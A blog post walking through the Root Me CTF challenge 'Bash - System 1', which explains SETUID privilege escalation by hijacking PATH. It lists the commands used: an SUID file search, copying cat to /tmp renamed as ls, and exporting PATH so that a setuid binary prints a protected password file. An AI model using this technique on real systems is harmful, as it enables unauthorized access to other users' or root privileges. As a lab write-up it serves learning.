sabato 6 ottobre 2018

RootMe - CTF App Security - Bash - System 1

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The first challenge that we face is: Bash - System 1:

Vulnerability type:

  • Privilege Escalation by SETUID permission

##################################################

I'm using Kali Linux. At the beginning, open terminal and type:
  • ssh -p 2222 app-script-ch11@challenge02.root-me.org
to connect to the target system. If it asks for a password, insert app-script-ch11.

If we type ls -la command, we will see three files: ch11, ch11.c and .passwd. I note also that ch11 and .passwd have the same owner (user) app-script-ch11-cracked.

It's easy to note that .passwd contains the solution of the challenge.

If we try to read the .passwd file by cat, less, more, etc. we cannot do that due to the permissions, indeed only the owner of this file has the privileges to READ that file. How can we do?

We can use a "weakness" caused by the SETUID (SET User ID) set by 1. This kind of exploit allows us to perform privilege escalation to execute a program with the owner's program privilege, even though we are not the owner.

The SETUID is a permission that can be set on files. Generally it can be set by the command: chmod u+s filename or chmod 4755 filename. This command substitutes the x parameter on the User (owner) permission with s.

In our case, we cannot chmod the interested file because we don't have permissions on them, but we can find which files have already the SETUID set. To check this, we type:
  • find / -perm -u=s -type f 2>/dev/null
In this way, we will search for all files that have SETUID set by 1. I note that ch11 has SETUID set by 1 so I can execute this program (so this process) as the owner of the program (that is the same owner of .passwd).

How does ch11 work? To check this, I can open the ch11.c file by less ch11.c. I note that ch11 executes ls command on .passwd file. I need to read that file. How can I do?

One solution is to substitute the ls command of this system with another command and rename this last command as ls. For example I can substitute ls command with cat: in this way, when the ch11 will perform its code, the ls command will execute the cat command. To do this, type:
  • mkdir /tmp/challenge1 --> The /tmp directory is one of directories that gives for all users all permissions (read/write/execute) since I don't have privileges anywhere. I use it to copy or create the command that I desire to substitute to ls.
  • which cat --> It allows us to know where cat command is located. It will be on /bin/cat.
  • cp /bin/cat /tmp/challenge1 | cd /tmp/challenge1
  • mv cat ls --> Rename cat as ls
  • export PATH=/tmp/challenge1:$PATH
  • cd ~ --> Come back to the starting directory /challenge/app-script/ch11/
  • ./ch11
In this way, when ch11 will be performed, when the following piece of ch11 code will be executed 

system("ls /challenge/app-script/ch11/.passwd");

ls will correspond to the cat command, so the solution will be printed on the terminal and we insert it as password in the challenge webpage to end.

Note that we can substitute ls with any Linux command or we can make a script or a program (i.e. C program) and rename its name as ls and insert in the PATH environment variable its location. This makes us understand how this exploit is dangerous as it allows any users to escalate privileges and execute commands of other users (like also root).

Useful links:
http://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

1 commento:

  1. #include
    #include

    /* gcc -m32 -o ch11 ch11.c */

    int main(void)
    {
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
    }

    RispondiElimina